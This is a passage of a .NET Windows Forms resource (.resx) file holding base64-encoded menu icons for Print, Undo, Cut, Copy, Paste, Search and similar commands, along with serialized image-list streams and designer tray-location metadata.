Q0JLRz98XYPo7vNj4OUQ9pksUOvqkcDg7Zo6aDTWWMHpU/08npQwCgndmU5F26aF0czUlYrgnQnZQvAv
f/R3bGg6a0rM640AAAAASUVORK5CYII=
</value>
</data>
<data name="PrintToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAi5JREFUOE+tk+1P
klEYxlkf+39aW1utttpM1NJqwzIjnM5J0TAmBSHLCFNJ7cVaUqNH5gLdQxY4RkxrbDqDzBJdOt0SKLAg
TEDDeLl6nkPgSNz64L1d29nZ7ut3nfucw+HsdBltUxi0f4RpdGZb0SNubMtlDd67ffi3Nn4n4fGvYNA6
gZJzV8GtvrLVhG1mlUqlEQxH4HB9IhqyO2Ewj8M140WVSE0MCibQW1z4/DWcB2fJq9E4ZheXQduchFyQ
rqXHwSrJ0L2BUB7d6piG0+1BZYMKx87LodG+wL0+62YKRecz0jzinCd0lpolB0IxzC+F0Guwo5Qvg7Kr
H0/oMZQyRuQYTW16qB8OgTK/wyOjA/qXb3GXsuH6HSPELVrwGztQXqNA8VkpTl+4iW6dBRKVFsXZId5+
+gqRWHzL1NmNRDKF9XiCzOB7eB1fvkUhb6dQJ+1iEsgyCVQPTDC/+YDndhco02vc7xuGumcAsnYdRM09
EFzuAK+hBccFchSdkeAis1cpvIGDJ0UZA2X3AHz+YMEEkbUNeAKr2A0O0S6KA764DSXVUuw5WpMxaO40
YHpuCczccsWuf0QTmPOtYWw2TJotfw1O1CpwoEK4aaDUUND00vAG4wjH0vD/TGNxOYWJhV8Ynoyi37FC
yFkd4YlJcy5BvaQVsls6jE76yN3+j/IM2GNIVI9RUadEmeAauMwzLapqwmFeIw6duoT95ULsK6vHXm5t
jpyj78RP/gPgHTGb+rLlcwAAAABJRU5ErkJggg==
</value>
</data>
<data name="PrintPreviewToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAdVJREFUOE+t099L
U2Ecx3H/GemqiygrwpsIzESJqJzzx4VOnMQkKFToZjcZQf5oDd0SXa0m/sJjnJU5K5eb1oIig8nUiwah
brLUInG6zb3znLB2PNu68QtfHjjweX2f5+E8OTmHUaJnnoMtTPoZdH3G4fwgd9Y5UjhT9Qy/5WRRbXZk
1D2XEeh0uJiY8WdHhl99yQiYn7yUw/ud9ij9Yx9VQDy2xdTMFJZHdm63mbhr6iS/RJf+Lp6KPgWwvb2F
OD7Oa880och3voUjOAQRnaGRKsMtNWITvArAPe3F5fbI3+IJ+BXdZWU9gdk2hLZarwa6BycVQJfNzvJq
5G84/CPOwnIMp3eesspKNdDVN6EAOizdLK2uyZPDG4m98A6+hSgPR3xcLi1VA9JNp5YgOhFdbkIbe5NX
YrxfjPLi0yYNzUbKyssxtTQqkVQgmUzyNRjkXoeZ3oHnPPMGsAo+GpqMaLRXGbhfhWi9rkRSgZ1YgvWf
UfyBAA8sFvTXDNTU1lGhuYT55jlCj8+z+64ae/uNf8g+IK2ZuuVOK/UlJ5g15rFkPcuaU0OT/uKfo0ih
vAu6/3ZB0RX0xcd503yausKjaItPZX9k6X5baRf5x45QeCZXDv8Gd10kHhF4wJIAAAAASUVORK5CYII=
</value>
</data>
<data name="UndoToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAZlJREFUOE+1ktsr
w2EYx/0p7sidnIkWlmMsSQxzlrkxhxySOV4oM9qSHG+ctuVsLCmxG+5QcoOUhZxP++324zdKDit+ylvP
3fP5vM/zfl8vr/88RqsL45LA6JrA1KaAWSyLXeBXd+rnBdzVNSvQanLSPO5kZPVN4FHSZblicvvN7oZ6
FlyUGO6I1WwTUWIjJN9KXP0xAzYPArexdfyS0Q2BZpNA76ILle4CuWaLqLI1gnKnia1YJixviozOOybE
vm9rVA9cUD74TOWwkyzdI+FFVkIL5kXY/NqsaLLhnzmGvO6Qlgnnd0Gh/pykthuyu5+pHb7BN8lAYI7p
vdFbpiWq3I689ogWswdBWvsZwdUnJLRdvU5SoDtFO3b7WaC2k6g9p92TILregazqgHD1FoF5K/grZ/BN
7nsXBKvmiFRvoui4RtPv+DnKr1H5JBrE8Q8pNd7TLcb7q7/wsSm0eJ30zgcytDvSYJX+HlnFLqkdD6Q0
7OOnGJImiG90iPAT8TV7BCgt0mD3Ckox1piaA4JyZqXDkh/qL8ALl3QQwQeUb4QAAAAASUVORK5CYII=
</value>
</data>
<data name="RedoToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAZNJREFUOE/Nkt8r
Q2EcxvenuMGSdsE2mptdGGYrU7NiZsoi5HdhyTY/VohdbKSxTdjM1mrKr6SEm7njSolQu9FaRue814/3
HFHr0CgXTj1X5/l+3ud9vq9I9Fdf9JwgckYQpgocE8zHWVjXWfyIzw1z8h8R2IMsJrZZOKMsRjcohCon
hBv2HhJUWx9R1roHheUAyp4ELB4GAz4WA/53yNYFgXLwWggMnRIYZp4hN66hsjcOmSnGS27eRRuFdHgZ
dFNIgPoqOhN82qxUjhAL1cgdCmvnoRs/5H/KTBGUGsMo1q2iYfaVT9K1wkBq3hcmcEQ4wD0K1C7kKW2f
BmnzNsQaN4Z9aRgXGGgm05A0bAoBUxSgsT9RsycLsLhPwIk7WT2ZgnzoAWLtkhDQv5xEvTONksZYFoAr
TEHvLDUfQKIP8sP5VXNCwMIOQbsnA9XwLe3BnWUQFPbdTg22S+hnXlBuOcm9968gRbTturFr1E2/QNl3
hRZX5vcgDqK13kDnZFAzlvw94COZxpFCE11bzif8LwxvxTcHtycxLyQAAAAASUVORK5CYII=
</value>
</data>
<data name="CutToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAaNJREFUOE+V07tL
W2EcxnH/AgcHJ6GjWifxVrR4K81gokdOYpoSpcHEYGuJCDFqFNEajdeUGgmIWomCkMugB4cWiqVLK95A
xU1EBC+oOGq3rzkRnOTw+s6/5/Pw3lJSBBaJJTD2MBJRfjOzpDwG1PDh8Sndg1NiSHAuznhoEe/gdDJw
e/efmPILx2evGKCGJmciBGdjajlnF9c4W3tIT0sVByIra4wGw6xv7fLn7w7mDy3PA8LRH4xNLTARCtPR
H8AgW8Xb1S2MfAvj7gtgd/VS1/ARnV5+HqAiNpcPs60Nk3MIyeYTB6zDN1hGrjANHKP3bGDo2KbGu4+h
fRNdy09tyOK/5P34Dca+Q0qs3ymQA+hca0jdB7xNhIvr57UBs/8c89ApFc7lZLhAnkDv3kDqOqCyWSHf
+FUbqPOdIPcfUdmkkFc7lgRqE+3Vndu8soTIKf+kDRi/HCF59ii1x8k1PByc3v2P0sYo2a/tZLzI1gZq
unYpa4wl2kfJLHyXfDxljjgvS2xkFlnIk/zawJvmVQpNk2QVN5Bb1SN+dcJf9YnBe5GF6RjGCzzaAAAA
AElFTkSuQmCC
</value>
</data>
<data name="CopyToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAd1JREFUOE+lk99L
U2EYgP1TShlSXdt9RGpSYFB4UVCQRVe70KuuIsMgqxkLnG0Tc5ayzc70RKSLlJlraTJzrl+TlkFtMJVz
dDmnZ/a480mzLdgEX3juvvd5f3zfV1a235DHv6AjjYUFzuEgvfI77tpk9uTWkwvDMRTgastTjtY1lpZ4
RsN5+ZmtP3T0vcLrD3O+qb20xDkyIwTeCEgfIBRVeeh4iTSh4h5XcPkUHo8omAeXBRfvx/K76pUDuQ42
NjOoq2liiaQQFEZr/yJVV/yC3H7sbp841+3fxDSsclP6RXNPlL7XS/8JmqwJ5EmVIw1DAiGxZOfV515L
aSwqKRZiK3yKLmF/EReCNikjCM2vcMkU53DDcw6dHaCy/smOQJ93Pa3lKhvtEa5ZPvLAtZDXgfpbY/7n
Ov65VazSNIbTXbsCNZnm8/cEM19jBEI/GHv/jZbuneu90Z/EaIlz4V6EM7dmBVZpCkNd566g6uRlCmk2
zwqBlh0voWjMRdcYDap43izzaCBARY25+BtpbJ0Ugn8r/+2g0/2W8hOm4oJz132kNrawDwaxeaaxPpsS
lfVki3OCg8fvFBfUGL3ZbbsElfUODKdsVNR2UF7dnk1u48Cx26Wf+Z4+034PbQPvwt9VHJdeuQAAAABJ
RU5ErkJggg==
</value>
</data>
<data name="PasteToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAk9JREFUOE+1k1lI
lGEUhn/owm6KFuqqq4LoJooIqouMwixMmzASMzInYlRKRpk0HVJLU3Rym7RsjFwGNbdKlJQiERKHdg3H
aJFIjZwmaxbXyeLp/78YclovogMv5+Z7l3M4nyT9j+pqzabjagbNFSloo3bxR4+m6kJmoyL/AA5bDeO2
Swz155GkCaQwS8d5gx5jVqKAj6BCnnI24nE1MOWoxVyqY2K0iqRoFU+7kzl5LJhk9XpsXYcYbVuONnL3
zwIK2eOq40L2QXoseTjfFDPSr+eV5TAtZSqiI/ypSV3Go0KJ2P0/jNRQlS/cPc4rGFIjSdeFo48L40Rs
KDqNinh1MDERARRpVwiB8CB/3wS15QamnfVM201MDOdgfxKHtWqxQF/lInpK53Hf6CfICgI2rfUVMJuy
mbRXMDmYycSzo4w/3ouzdT4FlW3kmJo5da6eZIOZ+IwyolOMRCbk+gqUl2QwNmRkvF/D2INg3HfW8e76
EkH2lmfmMw7XFIMjDsJiThMSpf8uUlaQhvN5Ju57gbg7V+NqX8pQpSSclSq/1iVgquugb8AmyLe6rewI
VX8TKclN4UPvcVwdq3DeWIi90Y+By5KI/WnmCx/dsvNbB30vbVh6XxMUEU+gTN62cw/+m7cgFZ1JxH43
RiYv4H3TXIar52C9IKGVZ1ZiexNclBMUm9tp6bSKrmDjmpVIZ9MTxIF4t+ztGnlhs51vW14IcuPNHura
HvoKFKQdkS9MhTp0OyFbNwhlZdvKzF63X3WR4He1T9628uBv+OfP/BWTNfjZ3FJ2xwAAAABJRU5ErkJg
gg==
</value>
</data>
<data name="IndexToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAqRJREFUOE+Fk1tI
01EYwOdr0HOJvfdm9FpPBZFQDyFBCb71ZoZooZiXMeetnJs6L9O8m2s6clNRN7VdtDmnS5uXleQQ3Zzm
XRMvYfz6b6KVZn3wceBwfr/zfecSIjojqurcbG98F21u7ogODhBlZFwPOWvtqfkAHEiXa5Wa2inUbyaR
SgdIT7fxX8kR7HCsUqJyYbGu8M7ko9c0i6bJjSTDfrboJNzRuYjNtk2/ZQurZYPenlV0unkaGieEigb/
FJ2E29r9mE0bdHUt09q2SIsANmtnaaifRqVyI5ePkpk9eNjSSVin9wVBvd5Pk2aO+noPlZVTlJRMoFCM
kJMzzNMEE7FPDBzDLtd6sGdN0yxa7Rzq1zPU1kzT1OpD1rxOVNEekbItJJU+5CVjxDw2oGsdOBRomseR
K5zU1Hl4VfGZsmI3ysJxqrR+4jVQboEPc0J6obbvgAfZXlpMbqa9M4jEEisa7RgSaR+ygiFk+SO8zHNS
3eghTg3aIZhf2CQ118jth1XBUe/Y4WackzylA9GzRAMziz6M5lGSU3oQi63BO89qWEJlJhhH8PCoNygp
qrUjVS8QHWNElJqupkDZzcKmn9llob9CM9KsPu7lrqEfPRQEIlBFQHDtbhmljSM09O8TerkU0Yv8QWHn
XiENmGzjrO1/xWL/RITYh+43wda3vSCcmGlkekk4C/MuF8Jyfr1MSWYfKWk9FBRb8fjnUHXOI2/fOa7A
Luwur3TgEeBx4TATitxERFadftopaSaeC6IO8xduJXykw7nP7g8wvPcSfqOAyXko7Vjh/FUl2Urz3/9G
mthMUnI3dS2TXIkyIq6eQWPbpdGyQ7xiknPhCmKT3tI/4vv351JVOMlX2ol+1EropSwuhqVy5345MpWV
wTF/EP4JaStxoteu5NMAAAAASUVORK5CYII=
</value>
</data>
<data name="SearchToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAtpJREFUOE+Vk1lP
k1EQhutC/CHGGBM1MWpc4oVLSFGhRogfFAREqVCQshSoRRAQSlFUSitQwqKtqChBEepH3IKCC4agxoi4
YdSw1FTQCFpE5LEfF1aCXjhX55yced7MzDuzZH9ERrGIdGVyUjbXZ7Zsns8c2ei3cdnIV7ds0vNWnhMy
68//086ZJS0ctIjY29q5/roLsa8Fe28uSWIMguEk0Rl2VJmnpwRmxAGTiMEm0tB9hYdfntIzNkBaYwGm
V1nEXVaw0VhEmKGDUH0NUbrq6RDdMQdZFgcVnWZanDZuDXfSNdpNj9tFfX8zMVYjcusz1lgaWVumQkgu
ZmdKuRciAfLsItZHRZT16rC9t2DvM1L+xE782XrUFUOEHXvL0nNBLDrjz/r8REISSryA1CNNVDjeYRBN
7HuwjeTOALQ2PWm1nrKqLmEw16AvKibSHMfiUjmLjwQSpC7yApKMjVReGyOnshLFOTlbxVBU5WZKTzdz
o+0Og66PvHe6qL3YRESmhvkFfiiiDV6AJr8Bs8PNgVoXkXoV/pV70NbmcbW1DSl+TMCI+ycDwxNYai6w
ThPElshsL2DfoXqSy96gqfqO2txLYIbGM86j9H9w/U52fv7Bi/5xmtufExQRjm+o3guIyz1PfOFtok98
Jco0TGj+XfYXGuj7MDSl7Pw04Un+TscLNxUNHWwXgtkgaL0AdU7dlEl2FzxEediJPLcTIV9L09VWBj95
lAfGuf/SzZWuURJ02QQIu8jLSp3uBclhETo7IQfvsjTVyDJtOLHaFKrrHDS292C92EFCejbByh3UmcJp
siZSYkibDpEcpkwsZXOSGV9VPAq1ESE2B2HnbgIFJWHB27FoNzF4Ss7Pe1HYjqfMhEgOk0wizVkaldRt
qWFSzWEKX2IDVvA4eyV91g0MNQeTHrPt77vxr42TADH+y7mpW81evyUo/Vf9H0ACS5B1yxbit3bBVPIv
gLX/NgWpi8gAAAAASUVORK5CYII=
</value>
</data>
<metadata name="ToolTip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>119, 17</value>
</metadata>
<metadata name="ListViewLargeImageList.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>557, 17</value>
</metadata>
<data name="ListViewLargeImageList.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64">
<value>
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACW
CwAAAk1TRnQBSQFMAgEBAwEAAQQBAAEEAQABIwEAASMBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABjAMAASMDAAEBAQABCAUAASQBExgAAYACAAGAAwACgAEAAYADAAGAAQABgAEAAoACAAPAAQABwAHc
AcABAAHwAcoBpgEAATMFAAEzAQABMwEAATMBAAIzAgADFgEAAxwBAAMiAQADKQEAA1UBAANNAQADQgEA
AzkBAAGAAXwB/wEAAlAB/wEAAZMBAAHWAQAB/wHsAcwBAAHGAdYB7wEAAdYC5wEAAZABqQGtAgAB/wEz
AwABZgMAAZkDAAHMAgABMwMAAjMCAAEzAWYCAAEzAZkCAAEzAcwCAAEzAf8CAAFmAwABZgEzAgACZgIA
AWYBmQIAAWYBzAIAAWYB/wIAAZkDAAGZATMCAAGZAWYCAAKZAgABmQHMAgABmQH/AgABzAMAAcwBMwIA
AcwBZgIAAcwBmQIAAswCAAHMAf8CAAH/AWYCAAH/AZkCAAH/AcwBAAEzAf8CAAH/AQABMwEAATMBAAFm
AQABMwEAAZkBAAEzAQABzAEAATMBAAH/AQAB/wEzAgADMwEAAjMBZgEAAjMBmQEAAjMBzAEAAjMB/wEA
ATMBZgIAATMBZgEzAQABMwJmAQABMwFmAZkBAAEzAWYBzAEAATMBZgH/AQABMwGZAgABMwGZATMBAAEz
AZkBZgEAATMCmQEAATMBmQHMAQABMwGZAf8BAAEzAcwCAAEzAcwBMwEAATMBzAFmAQABMwHMAZkBAAEz
AswBAAEzAcwB/wEAATMB/wEzAQABMwH/AWYBAAEzAf8BmQEAATMB/wHMAQABMwL/AQABZgMAAWYBAAEz
AQABZgEAAWYBAAFmAQABmQEAAWYBAAHMAQABZgEAAf8BAAFmATMCAAFmAjMBAAFmATMBZgEAAWYBMwGZ
AQABZgEzAcwBAAFmATMB/wEAAmYCAAJmATMBAANmAQACZgGZAQACZgHMAQABZgGZAgABZgGZATMBAAFm
AZkBZgEAAWYCmQEAAWYBmQHMAQABZgGZAf8BAAFmAcwCAAFmAcwBMwEAAWYBzAGZAQABZgLMAQABZgHM
Af8BAAFmAf8CAAFmAf8BMwEAAWYB/wGZAQABZgH/AcwBAAHMAQAB/wEAAf8BAAHMAQACmQIAAZkBMwGZ
AQABmQEAAZkBAAGZAQABzAEAAZkDAAGZAjMBAAGZAQABZgEAAZkBMwHMAQABmQEAAf8BAAGZAWYCAAGZ
AWYBMwEAAZkBMwFmAQABmQFmAZkBAAGZAWYBzAEAAZkBMwH/AQACmQEzAQACmQFmAQADmQEAApkBzAEA
ApkB/wEAAZkBzAIAAZkBzAEzAQABZgHMAWYBAAGZAcwBmQEAAZkCzAEAAZkBzAH/AQABmQH/AgABmQH/
ATMBAAGZAcwBZgEAAZkB/wGZAQABmQH/AcwBAAGZAv8BAAHMAwABmQEAATMBAAHMAQABZgEAAcwBAAGZ
AQABzAEAAcwBAAGZATMCAAHMAjMBAAHMATMBZgEAAcwBMwGZAQABzAEzAcwBAAHMATMB/wEAAcwBZgIA
AcwBZgEzAQABmQJmAQABzAFmAZkBAAHMAWYBzAEAAZkBZgH/AQABzAGZAgABzAGZATMBAAHMAZkBZgEA
AcwCmQEAAcwBmQHMAQABzAGZAf8BAALMAgACzAEzAQACzAFmAQACzAGZAQADzAEAAswB/wEAAcwB/wIA
AcwB/wEzAQABmQH/AWYBAAHMAf8BmQEAAcwB/wHMAQABzAL/AQABzAEAATMBAAH/AQABZgEAAf8BAAGZ
AQABzAEzAgAB/wIzAQAB/wEzAWYBAAH/ATMBmQEAAf8BMwHMAQAB/wEzAf8BAAH/AWYCAAH/AWYBMwEA
AcwCZgEAAf8BZgGZAQAB/wFmAcwBAAHMAWYB/wEAAf8BmQIAAf8BmQEzAQAB/wGZAWYBAAH/ApkBAAH/
AZkBzAEAAf8BmQH/AQAB/wHMAgAB/wHMATMBAAH/AcwBZgEAAf8BzAGZAQAB/wLMAQAB/wHMAf8BAAL/
ATMBAAHMAf8BZgEAAv8BmQEAAv8BzAEAAmYB/wEAAWYB/wFmAQABZgL/AQAB/wJmAQAB/wFmAf8BAAL/
AWYBAAEhAQABpQEAA18BAAN3AQADhgEAA5YBAAPLAQADsgEAA9cBAAPdAQAD4wEAA+oBAAPxAQAD+AEA
AfAB+wH/AQABpAKgAQADgAMAAf8CAAH/AwAC/wEAAf8DAAH/AQAB/wEAAv8CAAP/AQBJ7Af5AW4D7AGn
BvwBpwTsAXIG+gLsIwAP7AGnAvwBBgFVNewH+QFuA+wBpwb8AacE7AFyBvoC7CMACuwBpwf8AQYF+gFV
MOwH+QFuA+wBpwb8AacE7AFyBvoC7CMACewBpwj8AQYG+gFVL+wH+QFuA+wBpwb8AacE7AFyBvoC7CMA
B+wBpwr8AQYI+gFVLewH+QFuA+wBpwb8AacE7AFyBvoC7CMABuwBpwv8AQYJ+gFVLOwH+QFuA+wBpwb8
AacE7AFyBvoC7CMABewBpwz8AQYK+gFVBewBpyXsB/kBbgPsAacG/AGnBOwBcgb6AuwjAATsAacN/AEG
C/oBVQTsAa4CpyPsB/kBbgPsAacG/AGnBOwBcgb6AuwjAATsDvwBBgz6BewCrgGnIuwH+QFuA+wBpwb8
AacE7AFyBvoC7CMAA+wBpw78AQYM+gFVBuwBrgKnAa4E7AJVAXIY7Af5AW4D7AGnBvwBpwTsAXIG+gLs
IwAC7AGnD/wBBg36AVUC7AFGA+wCrgGnAa4B7ANVAXICVQFyAW4BRgFuA+wBrgGnDuwH+QFuA+wBpwb8
AacE7AFyBvoC7CMAAuwQ/AEGDvoC7AFuAkYD7AFwA1UBcgLsAXIBSwJQAW4CRgFoBacM7Af5AW4D7AGn
BvwBpwTsAXIG+gLsIwAC7BD8AQYO+gPsAm4BRgNVAnIBiwGnAWgDRgFyAVUBcgGMAYcBBQFiAWgCrgKn
C+wH+QFuA+wBpwb8AacE7AFyBvoC7CMAAuwQ/AEGDvoE7AFVAS8BVgEDAUYBbgHsAWgBYgEFAWgBRgFu
AewBcgJVAYsBjARGAewBiwhVA+wH+QFuA+wBpwb8AacE7AFyBvoC7CMAAuwQ/AEGDvoC7ARVAewBbgVG
AYwCpwKuAacBiwVVAi8CVQFxAYoBBgVVA+wH+QFuA+wBpwb8AacE7AFyBvoC7CMAAewBpxD8AQYO+gFV
AewCVQXsAW4BRgPsAa4EpwGuAewBcgVVAVABKgFoA6cH7Af5AW4D7AGuBqcBrgTsAXIG+gLsIwAB7BD8
AcQBSQ/6D+wCrgnsAW4DRgFoAqcG7Af5AW4P7AFyBvoC7CMAAewP/AHEAUABJQE0Dvod7ANGAQUCpwTs
B/kBbg/sAXIGVQLsIwAB7A78AcQBQAL5ASUBNA36H+wCRgIFAacD7Af5AW4Y7CMAAewBpw38AWIE+QEl
ATQL+gFVIewCRgGHA+wH+QFuGOwjAALsDPwBxAFABfkBJQE0Cvok7AFGA+wHRgFuGOwjAALsC/wBxAFA
B/kBJQE0CfpI7CMAAuwK/AHEAUAJ+QElATQI+kjsIwAC7Ar8AWIL+QElATQH+kjsIwAC7AGnCPwBxAFA
DPkBJQE0BfoBVUjsIwAD7AGnBvwBxAFADvkBJQE0A/oBVUnsIwAE7AX8AcQBQBD5ASUBNAL6SuwjAATs
AacE/AFAEvkBJQE0AVVK7CMABewBpwL8AcQBQBP5AUZL7CMABuwBpwHEAUAT+QFGTOwjAAfsAUYT+QFG
TewjAAnsAUYP+QFGT+wjAArsAUYN+QFGUOwjAA/sAUYD+QFGVewjAGnsIwABQgFNAT4HAAE+AwABKAMA
AYwDAAEjAwABAQEAAQEFAAG8AQIWAAP//wD/AL8ACw==
</value>
</data>
<metadata name="ListViewSmallImageList.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 54</value>
</metadata>
<data name="ListViewSmallImageList.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64">
<value>
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAA8
CAAAAk1TRnQBSQFMAgEBAwEAAQUBAAEEAQABEQEAAREBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABRAMAAREDAAEBAQABCAUAAYQBBBgAAYACAAGAAwACgAEAAYADAAGAAQABgAEAAoACAAPAAQABwAHc
AcABAAHwAcoBpgEAATMFAAEzAQABMwEAATMBAAIzAgADFgEAAxwBAAMiAQADKQEAA1UBAANNAQADQgEA
AzkBAAGAAXwB/wEAAlAB/wEAAZMBAAHWAQAB/wHsAcwBAAHGAdYB7wEAAdYC5wEAAZABqQGtAgAB/wEz
AwABZgMAAZkDAAHMAgABMwMAAjMCAAEzAWYCAAEzAZkCAAEzAcwCAAEzAf8CAAFmAwABZgEzAgACZgIA
AWYBmQIAAWYBzAIAAWYB/wIAAZkDAAGZATMCAAGZAWYCAAKZAgABmQHMAgABmQH/AgABzAMAAcwBMwIA
AcwBZgIAAcwBmQIAAswCAAHMAf8CAAH/AWYCAAH/AZkCAAH/AcwBAAEzAf8CAAH/AQABMwEAATMBAAFm
AQABMwEAAZkBAAEzAQABzAEAATMBAAH/AQAB/wEzAgADMwEAAjMBZgEAAjMBmQEAAjMBzAEAAjMB/wEA
ATMBZgIAATMBZgEzAQABMwJmAQABMwFmAZkBAAEzAWYBzAEAATMBZgH/AQABMwGZAgABMwGZATMBAAEz
AZkBZgEAATMCmQEAATMBmQHMAQABMwGZAf8BAAEzAcwCAAEzAcwBMwEAATMBzAFmAQABMwHMAZkBAAEz
AswBAAEzAcwB/wEAATMB/wEzAQABMwH/AWYBAAEzAf8BmQEAATMB/wHMAQABMwL/AQABZgMAAWYBAAEz
AQABZgEAAWYBAAFmAQABmQEAAWYBAAHMAQABZgEAAf8BAAFmATMCAAFmAjMBAAFmATMBZgEAAWYBMwGZ
AQABZgEzAcwBAAFmATMB/wEAAmYCAAJmATMBAANmAQACZgGZAQACZgHMAQABZgGZAgABZgGZATMBAAFm
AZkBZgEAAWYCmQEAAWYBmQHMAQABZgGZAf8BAAFmAcwCAAFmAcwBMwEAAWYBzAGZAQABZgLMAQABZgHM
Af8BAAFmAf8CAAFmAf8BMwEAAWYB/wGZAQABZgH/AcwBAAHMAQAB/wEAAf8BAAHMAQACmQIAAZkBMwGZ
AQABmQEAAZkBAAGZAQABzAEAAZkDAAGZAjMBAAGZAQABZgEAAZkBMwHMAQABmQEAAf8BAAGZAWYCAAGZ
AWYBMwEAAZkBMwFmAQABmQFmAZkBAAGZAWYBzAEAAZkBMwH/AQACmQEzAQACmQFmAQADmQEAApkBzAEA
ApkB/wEAAZkBzAIAAZkBzAEzAQABZgHMAWYBAAGZAcwBmQEAAZkCzAEAAZkBzAH/AQABmQH/AgABmQH/
ATMBAAGZAcwBZgEAAZkB/wGZAQABmQH/AcwBAAGZAv8BAAHMAwABmQEAATMBAAHMAQABZgEAAcwBAAGZ
AQABzAEAAcwBAAGZATMCAAHMAjMBAAHMATMBZgEAAcwBMwGZAQABzAEzAcwBAAHMATMB/wEAAcwBZgIA
AcwBZgEzAQABmQJmAQABzAFmAZkBAAHMAWYBzAEAAZkBZgH/AQABzAGZAgABzAGZATMBAAHMAZkBZgEA
AcwCmQEAAcwBmQHMAQABzAGZAf8BAALMAgACzAEzAQACzAFmAQACzAGZAQADzAEAAswB/wEAAcwB/wIA
AcwB/wEzAQABmQH/AWYBAAHMAf8BmQEAAcwB/wHMAQABzAL/AQABzAEAATMBAAH/AQABZgEAAf8BAAGZ
AQABzAEzAgAB/wIzAQAB/wEzAWYBAAH/ATMBmQEAAf8BMwHMAQAB/wEzAf8BAAH/AWYCAAH/AWYBMwEA
